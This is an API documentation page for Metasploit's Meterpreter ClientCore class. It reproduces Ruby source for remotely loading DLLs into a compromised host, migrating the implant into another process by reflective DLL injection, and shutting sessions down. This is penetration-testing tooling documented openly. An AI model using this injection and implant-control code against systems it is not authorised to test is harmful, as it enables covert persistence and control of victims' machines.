Class: Rex::Post::Meterpreter::ClientCore

Inherits:

Extension

• Object
• Extension
• Rex::Post::Meterpreter::ClientCore

Defined in:

lib/rex/post/meterpreter/client_core.rb

Overview

This class is responsible for providing the interface to the core client-side meterpreter API which facilitates the loading of extensions and the interaction with channels.

Instance Attribute Summary

Attributes inherited from Extension

#name

Instance Method Summary

• #initialize(client) ⇒ ClientCore constructor

  Initializes the ‘core’ portion of the meterpreter client commands.

• #load_library(opts) ⇒ Object

  Loads a library on the remote meterpreter instance.

• #migrate(pid) ⇒ Object

  Migrates the meterpreter instance to the process specified by pid.

• #shutdown ⇒ Object

  Shuts the session down.

• #use(mod, opts = { }) ⇒ Object

  Loads a meterpreter extension on the remote server instance and initializes the client-side extension handlers.

Constructor Details

#initialize(client) ⇒ ClientCore

Initializes the ‘core’ portion of the meterpreter client commands.

# File 'lib/rex/post/meterpreter/client_core.rb', line 26

def initialize(client)
	super(client, "core")
end

Instance Method Details

#load_library(opts) ⇒ Object

Loads a library on the remote meterpreter instance. This method supports loading both extension and non-extension libraries and also supports loading libraries from memory or disk depending on the flags that are specified

Supported flags:

LibraryFilePath The path to the library that is to be loaded

TargetFilePath The target library path when uploading

UploadLibrary Indicates whether or not the library should be uploaded

SaveToDisk Indicates whether or not the library should be saved to disk on the remote machine

Extension Indicates whether or not the library is a meterpreter extension

# File 'lib/rex/post/meterpreter/client_core.rb', line 60

def load_library(opts)
	library_path = opts['LibraryFilePath']
	target_path  = opts['TargetFilePath']
	load_flags   = LOAD_LIBRARY_FLAG_LOCAL

	# No library path, no cookie.
	if (library_path == nil)
		raise ArgumentError, "No library file path was supplied", caller
	end

	# Set up the proper loading flags
	if (opts['UploadLibrary'])
		load_flags &= ~LOAD_LIBRARY_FLAG_LOCAL
	end
	if (opts['SaveToDisk'])
		load_flags |= LOAD_LIBRARY_FLAG_ON_DISK
	end
	if (opts['Extension'])
		load_flags |= LOAD_LIBRARY_FLAG_EXTENSION
	end

	# Create a request packet
	request = Packet.create_request('core_loadlib')

	# If we must upload the library, do so now
	if ((load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL)
		image = ''

		::File.open(library_path, 'rb') { |f|
			image = f.read
		}

		if (image != nil)
			request.add_tlv(TLV_TYPE_DATA, image, false, client.capabilities[:zlib])
		else
			raise RuntimeError, "Failed to serialize library #{library_path}.", caller
		end

		# If it's an extension we're dealing with, rename the library
		# path of the local and target so that it gets loaded with a random
		# name
		if (opts['Extension'])
			library_path = "ext" + rand(1000000).to_s + ".#{client.binary_suffix}"
			target_path  = library_path
		end
	end

	# Add the base TLVs
	request.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path)
	request.add_tlv(TLV_TYPE_FLAGS, load_flags)

	if (target_path != nil)
		request.add_tlv(TLV_TYPE_TARGET_PATH, target_path)
	end

	# Transmit the request and wait the default timeout seconds for a response
	response = self.client.send_packet_wait_response(request, self.client.response_timeout)

	# No response?
	if (response == nil)
		raise RuntimeError, "No response was received to the core_loadlib request.", caller
	elsif (response.result != 0)
		raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
	end

	commands = []
	response.each(TLV_TYPE_METHOD) { |c|
		commands << c.value
	}

	return commands
end

#migrate(pid) ⇒ Object

Migrates the meterpreter instance to the process specified by pid. The connection to the server remains established.

# File 'lib/rex/post/meterpreter/client_core.rb', line 173

def migrate( pid )
	keepalive = client.send_keepalives
	client.send_keepalives = false
	process       = nil
	binary_suffix = nil

	# Load in the stdapi extension if not allready present so we can determine the target pid architecture...
	client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )

	# Determine the architecture for the pid we are going to migrate into...
	client.sys.process.processes.each { | p |
		if( p['pid'] == pid )
			process = p
			break
		end
	}

	# We cant migrate into a process that does not exist.
	if( process == nil )
		raise RuntimeError, "Cannot migrate into non existent process", caller
	end

	# We cant migrate into a process that we are unable to open
	if( process['arch'] == nil or process['arch'].empty? )
		raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
	end

	# And we also cant migrate into our own current process...
	if( process['pid'] == client.sys.process.getpid )
		raise RuntimeError, "Cannot migrate into current process", caller
	end

	# Create a new payload stub
	c = Class.new( ::Msf::Payload )
	c.include( ::Msf::Payload::Stager )

	# Include the appropriate reflective dll injection module for the target process architecture...
	if( process['arch'] == ARCH_X86 )
		c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
		binary_suffix = "dll"
	elsif( process['arch'] == ARCH_X86_64 )
		c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
		binary_suffix = "x64.dll"
	else
		raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
	end

	# Create the migrate stager
	migrate_stager = c.new()
	migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.#{binary_suffix}" )

	blob = migrate_stager.stage_payload

	if client.passive_service

		# Replace the transport string first (TRANSPORT_SOCKET_SSL
		i = blob.index("METERPRETER_TRANSPORT_SSL")
		if i
			str = client.ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
			blob[i, str.length] = str
		end

		conn_id = self.client.conn_id
		i = blob.index("https://" + ("X" * 256))
		if i
			str = self.client.url
			blob[i, str.length] = str
		end

		i = blob.index([0xb64be661].pack("V"))
		if i
			str = [ self.client.expiration ].pack("V")
			blob[i, str.length] = str
		end

		i = blob.index([0xaf79257f].pack("V"))
		if i
			str = [ self.client.comm_timeout ].pack("V")
			blob[i, str.length] = str
		end
	end

	# Build the migration request
	request = Packet.create_request( 'core_migrate' )
	request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
	request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
	request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
	if( process['arch'] == ARCH_X86_64 )
		request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
	else
		request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
	end

	# Send the migration request (bump up the timeout to 60 seconds)
	response = client.send_request( request, 60 )

	if client.passive_service
		# Sleep for 5 seconds to allow the full handoff, this prevents
		# the original process from stealing our loadlib requests
		::IO.select(nil, nil, nil, 5.0)
	else
		# Prevent new commands from being sent while we finish migrating
		client.comm_mutex.synchronize do
			# Disable the socket request monitor
			client.monitor_stop

			###
			# Now communicating with the new process
			###

			# Renegotiate SSL over this socket
			client.swap_sock_ssl_to_plain()
			client.swap_sock_plain_to_ssl()

			# Restart the socket monitor
			client.monitor_socket
		end
	end

	# Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture
	# sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of.
	# If the platform specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change significantly we will need a better way to do this.
	if( process['arch'] == ARCH_X86_64 )
		client.platform      = 'x64/win64'
		client.binary_suffix = 'x64.dll'
	else
		client.platform      = 'x86/win32'
		client.binary_suffix = 'dll'
	end

	# Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
	client.ext.aliases.keys.each { |e|
		client.core.use(e)
	}

	# Restore session keep-alives
	client.send_keepalives = keepalive

	return true
end

#shutdown ⇒ Object

Shuts the session down

# File 'lib/rex/post/meterpreter/client_core.rb', line 317

def shutdown
	request  = Packet.create_request('core_shutdown')

	# If this is a standard TCP session, send and return
	if not client.passive_service
		self.client.send_packet(request)
	else
	# If this is a HTTP/HTTPS session we need to wait a few seconds
	# otherwise the session may not receive the command before we
	# kill the handler. This could be improved by the server side
	# sending a reply to shutdown first.
		self.client.send_packet_wait_response(request, 10)
	end
	true
end

#use(mod, opts = { }) ⇒ Object

Loads a meterpreter extension on the remote server instance and initializes the client-side extension handlers

Module The module that should be loaded

LoadFromDisk Indicates that the library should be loaded from disk, not from memory on the remote machine

# File 'lib/rex/post/meterpreter/client_core.rb', line 144

def use(mod, opts = { })
	if (mod == nil)
		raise RuntimeError, "No modules were specified", caller
	end
	# Get us to the installation root and then into data/meterpreter, where
	# the file is expected to be
	path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}")

	if (opts['ExtensionPath'])
		path = opts['ExtensionPath']
	end

	path = ::File.expand_path(path)

	# Load the extension DLL
	commands = load_library(
			'LibraryFilePath' => path,
			'UploadLibrary'   => true,
			'Extension'       => true,
			'SaveToDisk'      => opts['LoadFromDisk'])
	client.add_extension(mod, commands)

	return true
end